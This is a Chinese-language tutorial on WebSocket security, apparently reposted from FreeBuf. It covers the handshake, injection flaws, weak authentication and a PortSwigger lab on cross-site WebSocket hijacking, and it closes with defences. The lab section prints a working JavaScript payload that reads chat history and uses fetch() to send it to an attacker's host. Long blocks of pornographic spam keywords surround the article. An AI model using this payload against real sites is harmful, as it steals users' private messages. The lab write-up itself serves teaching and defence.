高清视频在线观看免费播放器-伊人日本-色九月综合-18禁止看的免费污网站-免费观看性行为视频的网站-天天碰天天操-久久精品国产欧美日韩99热-中文字幕在线视频不卡-国产偷人妻精品一区二区在线-国内精品久-伊人影院在线看-密臀av一区-久久综合五月丁香久久激情-福利一区福利二区-gg国产精品国内免费观看-国产精品 高清 尿 小便 嘘嘘

當前位置: 首頁 >綜合 > 正文

WebSocket安全性分析,你看懂了嗎?

2023-06-27 10:11:47 來源:???FreeBuf.COM
websocket簡介

WebSocket 是HTML5一種新的網絡傳輸協議,位于 OSI 模型的應用層,可在單個TCP連接上進行全雙工通信。WebSocket 建議于 TCP 協議之上,與 HTTP 協議有良好的兼容性。協議標識符是ws;如果加密,則為wss。

WebSocket與HTTP的區別

HTTP協議時請求-響應式的,一般是一個請求建立一次握手,在HTTP1.1版本開始,TCP連接可別復用。


(資料圖片僅供參考)

HTTP協議只能由客戶端發送信息到服務端,服務端做出響應。

WebSocket通信是雙向的,既可以由客戶端發送信息,到服務端。也可以有服務端發送信息到客戶端。

WebSocket通信建立過程

websocket通常是由客戶端JavaScript腳本創建

var ws = new WebSocket("wss://normal-website.com/chat");

為了建立連接,會通過HTTP協議發送一個請求,告訴服務器接下來要使用websocket進行通信,如果服務器同意請求,接下來就會進行三次握手。

1686294004_6482cdf4d2e772119d075.png!small?1686294005590

WebSocket 握手消息的幾個特性值得注意:

請求和響應中 的Connection和Upgrade標頭表明這是一次 WebSocket 握手。

Sec-WebSocket-Version請求頭指定WebSocket協議版本的客戶端希望使用。通常是13.

Sec-WebSocket-Key請求報頭包含Base64編碼的隨機值,這應該在每個握手請求是隨機產生的。并不是用于身份認證的。

Sec-WebSocket-Accept響應報頭包含在提交的值的散列Sec-WebSocket-Key請求頭,具有在協議規范中定義的特定的字符串串聯。這樣做是為了防止錯誤配置的服務器或緩存代理導致誤導性響應。

三次握手以后表示建立了客戶端與服務端建立websocket連接,可以通過websocket協議進行通信。

ws.send("hello websocket");

由于TCP協議是復用的,所以可以通過一次連接,發送多個信息。

1686294062_6482ce2ed13a9aa6a4f99.png!small?1686294063448

原則上,WebSocket 消息可以包含任何內容或數據格式。在現代應用程序中,通常使用 JSON 在 WebSocket 消息中發送結構化數據。

WebSocket使用場景

基于WebSocket全雙工、延遲的特性,應用場景比較廣泛。

聊天彈幕協同編輯股票報價實施更新位置更新直播實況段落的首行要WebSocket安全性分析

websocket僅僅是web程序中的一種通信協議,并不會解決web應用中存在的安全問題。因此在HTTP協議中出現的安全問題在websocket中都可能出現。

目前對于HTTP協議的漏洞已經很少了,可以去看看websocket協議的,說不定會有意想不到的發現。

1.常規漏洞

WebSocket中,用戶輸入可控的請求數據,數據被服務端進行處理,如果沒有進行有限的校驗,可能出現常見的Web漏洞,如XSS、SQL Inject、RCE等。

如下圖,正常發送會發現進行編碼

1686294500_6482cfe4560a520b4223c.png!small?1686294501018

可以直接抓包重放,改變值,成功利用。實際上跟http協議沒有什么區別。

1686294509_6482cfed974210c835d07.png!small?1686294510349

2.權限

認證

websocket協議沒有規定在服務器在握手階段應該如何認證客戶端身份。服務器可以采用任何 HTTP 服務器的客戶端身份認證機制,如 cookie認證,HTTP 基礎認證,TLS 身份認證等。

因此,認證實現方面的安全問題與基于HTTP的Web認證并無區別。

如CVE-2015-0201,Spring框架的Java SockJS客戶端生成可預測的會話ID,攻擊者可利用該漏洞向其他會話發送消息

授權

WebSocket 協議依然沒有指定任何授權方式,因此關于權限的相關策略依然得依賴開發者在服務端實現,這就說明通過websocket協議與傳統的http協議面臨相同的安全風險,如垂直越權和水平越權。

3.基于webSocket的CSRF漏洞(跨域請求/CSWSH)

該漏洞全稱叫做Cross-site WebSocket Hijacking,跨站點WebSocket劫持漏洞。當WebSocket握手請求僅依靠HTTP cookie進行會話處理并且不包含任何CSRF token或其他不可預測的值時,就會出現這種漏洞。

判斷websocket中是否存在跨域問題

檢查應用程序執行的WebSocket握手過程是否針對CSRF進行了保護。除了在cookie中該消息不依賴其它的值進行會話處理。如下面的請求僅僅依靠session token來進行會話處理,那么就會存在這種漏洞。

1686294535_6482d00739e9ede4566c2.png!small?1686294536047

通過portSwigger的靶場進行復現

Lab: Cross-site WebSocket hijacking

在live chat中首先驗證websocket是否存在csrf。可以看到僅僅依靠cookie來進行會話處理,說明存在漏洞

1686294558_6482d01e0724a95846cbd.png!small?1686294558694

在確認存在這個漏洞以后,我們就要去編寫我們的payload,首先我們發現在建立websocket連接以后,發送READY字符串,服務端就會把歷史聊天記錄返回,那么我們就通過這種方式去利用。

1686294563_6482d023a161e00440e69.png!small?1686294564415

首先通過new websocket與服務端建立連接,然后通過ws.send("READY")像服務端發送READY。當服務端收到READY字符串時,就會把歷史的聊天記錄返回回來。這個js收到歷史記錄以后就可以訪問burp的collaborator并帶著敏感數據。

payload如下:

<script>// Create WebSocket connection.var ws = new WebSocket("wss://web-security-academy.net/chat");// Connection openedws.addEventListener("open", function (event) {ws.send("READY");});// Listen for messagesws.onmessage = function(event) {fetch("https://you-site.net/?log"+event.data, {mode: "no-cors"})};</script>

在portSwigger的exploit server中設置自己的payload

1686294605_6482d04dba51aab951f35.png!small?1686294606435

設置好payload,然后讓登錄的瀏覽器去訪問。在這個靶場也就是點擊Deliver exploit to victim

1686294621_6482d05d0608dbe4d74c2.png!small?1686294621581

然后再burp上就可以看到信息

1686294630_6482d0667a6b0b8527711.png!small?1686294631105

這種漏洞的一種修復方式就是在服務端驗證Origin頭,如果客戶端發來的 Origin 信息來自不同域,服務器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的,惡意網頁可以偽造Origin頭信息,繞過服務端對Origin頭的檢查,更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket安全問題如何預防正確驗證輸入輸出的數據,跟http協議一樣使用CSRF Token、請求頭令牌等方案保護WebSocket握手流程,防止WebSocket握手流程被CSRF攻擊所利用。使用wss://協議,(基于TLS的Websockets)在服務器進行授權,防止越權的產生。參考鏈接

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html

標簽:

返回頂部
高清视频在线观看免费播放器-伊人日本-色九月综合-18禁止看的免费污网站-免费观看性行为视频的网站-天天碰天天操-久久精品国产欧美日韩99热-中文字幕在线视频不卡-国产偷人妻精品一区二区在线-国内精品久-伊人影院在线看-密臀av一区-久久综合五月丁香久久激情-福利一区福利二区-gg国产精品国内免费观看-国产精品 高清 尿 小便 嘘嘘
  • <cite id="ecweg"><pre id="ecweg"></pre></cite>
    <rt id="ecweg"><acronym id="ecweg"></acronym></rt>
  • <rt id="ecweg"></rt>
    国产高潮免费视频| 人妻激情另类乱人伦人妻| 成人免费网站入口| www污在线观看| 丝袜老师办公室里做好紧好爽| 精品无码一区二区三区爱欲| 91专区在线观看| 在线观看的毛片| 路边理发店露脸熟妇泻火| h无码动漫在线观看| 午夜dv内射一区二区| 亚洲欧美视频二区| 欧美成人三级在线视频| 一区二区三区四区毛片| 秋霞无码一区二区| 亚洲网中文字幕| 日本久久精品一区二区| 欧美性潮喷xxxxx免费视频看| 9久久婷婷国产综合精品性色| 亚洲自拍偷拍一区二区三区| 熟女人妇 成熟妇女系列视频| av日韩在线看| 91黄色在线看| 日本一区二区三区四区五区六区| 粉嫩虎白女毛片人体| 久草热视频在线观看| 国产v片免费观看| www一区二区www免费| 欧美精品卡一卡二| 毛片毛片毛片毛| 亚洲国产精品影视| www亚洲成人| 激情五月五月婷婷| 国产精品自拍合集| 久久久亚洲精品无码| 97免费视频观看| 99久久国产综合精品五月天喷水| 国产999免费视频| 欧美一级特黄a| 成人观看免费完整观看| 精品欧美一区免费观看α√| 天天av天天操| av磁力番号网| 日韩精品手机在线观看| 日本a级片在线观看| 亚洲欧美偷拍另类| 538任你躁在线精品免费| 国产91在线亚洲| 日本美女视频一区| 国产69精品久久久久999小说| 欧美日韩性生活片| 国产区二区三区| heyzo亚洲| 高清无码视频直接看| 国产av人人夜夜澡人人爽| 制服丝袜中文字幕第一页| 国产一区亚洲二区三区| 岛国av在线免费| 天天色综合天天色| 国产中文字幕二区| 久久久久久久久久伊人| 亚洲精品www.| 亚洲 欧美 另类人妖| 久久9精品区-无套内射无码| 免费观看国产视频在线| 777视频在线| 中文字幕成人在线视频| 中文字幕有码av| jizz大全欧美jizzcom| 国产天堂在线播放| 久久婷婷综合色| 天堂v在线视频| 美脚丝袜脚交一区二区| 久久久999免费视频| 久久免费视频3| 日韩视频在线观看一区二区三区| av高清在线免费观看| 中文字幕第36页| 国产精品嫩草影院8vv8| 无码精品a∨在线观看中文| 老太脱裤子让老头玩xxxxx| 久久精品免费网站| 国产视频一区二区视频| 特级黄色录像片| 日本中文字幕一级片| 国产精品视频分类| 国产人妻777人伦精品hd| 久久久精品高清| 国产a级黄色大片| 在线视频日韩欧美| 中文字幕在线观看第三页| 国产理论在线播放| 久久人人爽人人爽人人av| caoporn超碰97| 极品美女扒开粉嫩小泬| 伊人久久在线观看| www.99r| а 天堂 在线| 欧美三级午夜理伦三级富婆| 农村妇女精品一二区| 久久久久久久9| 欧洲精品一区二区三区久久| 亚洲色婷婷久久精品av蜜桃| 国产精品视频中文字幕| 羞羞的视频在线| 久久人人爽av| 久久人妻精品白浆国产| 女人被男人躁得好爽免费视频| 91最新在线观看| 国产不卡的av| 日本天堂免费a| 无码人妻丰满熟妇区毛片| 欧美一级片中文字幕| 亚洲美女性囗交| 日本a级片在线观看| 成人综合视频在线| 中文字幕在线视频精品| 国产成人在线小视频| 激情综合网婷婷| 日本国产中文字幕| 精品亚洲一区二区三区四区| 亚洲第一成肉网| 国产日本欧美在线| 北条麻妃在线视频| 亚洲熟妇无码av在线播放| 男女视频在线看| 国产成人黄色片| 国产精品www在线观看| 性久久久久久久久久久久久久| 日韩av三级在线| 精品视频免费在线播放| 国产人妻互换一区二区| 97xxxxx| 免费观看日韩毛片| av免费观看国产| 日韩欧美视频免费在线观看| 亚洲 欧洲 日韩| 波多野结衣激情| 99久热在线精品视频| 欧美中文字幕在线观看视频| 欧美日韩激情四射| 国产无限制自拍| 99热在线这里只有精品| 欧美日韩亚洲一| 色呦色呦色精品| 成人免费在线网| 538任你躁在线精品免费| 亚洲第一区第二区第三区| 中文字幕第50页| 欧美一区二区三区爽大粗免费| 欧美 日本 亚洲| 小说区视频区图片区| 国产a级一级片| 一级全黄肉体裸体全过程| 乱熟女高潮一区二区在线| 无码人妻丰满熟妇区毛片18| 一区中文字幕在线观看| 各处沟厕大尺度偷拍女厕嘘嘘| 蜜臀一区二区三区精品免费视频| 久久久久亚洲av无码专区喷水| av动漫在线观看| 国产精品后入内射日本在线观看| 手机免费av片| 色噜噜狠狠一区二区| 青青青免费在线| 亚洲 自拍 另类小说综合图区| www.亚洲高清| wwww.国产| 亚洲欧美日韩一级| www午夜视频| 久久久久久综合网| 九九热精品在线播放| 日韩av卡一卡二| 午夜一级免费视频| 在线免费黄色小视频| 裸体大乳女做爰69| 亚洲国产精品成人天堂| 日韩极品视频在线观看| 9色porny| 香港日本韩国三级网站| 久久6免费视频| 999久久欧美人妻一区二区| 国产3p露脸普通话对白| 国产亚洲综合视频| 法国空姐在线观看免费| 国产九九九九九| 黄色小视频免费网站| 国产96在线 | 亚洲| 99九九精品视频| 国产午夜福利100集发布| 欧美激情精品久久久久久小说| 日本激情视频在线播放| 丰满少妇久久久| 无码人妻丰满熟妇区毛片| 国产精品h视频| 色综合手机在线| 久久久久久人妻一区二区三区| 成年网站在线播放| 女人和拘做爰正片视频| 国产亚洲精品久久久久久久|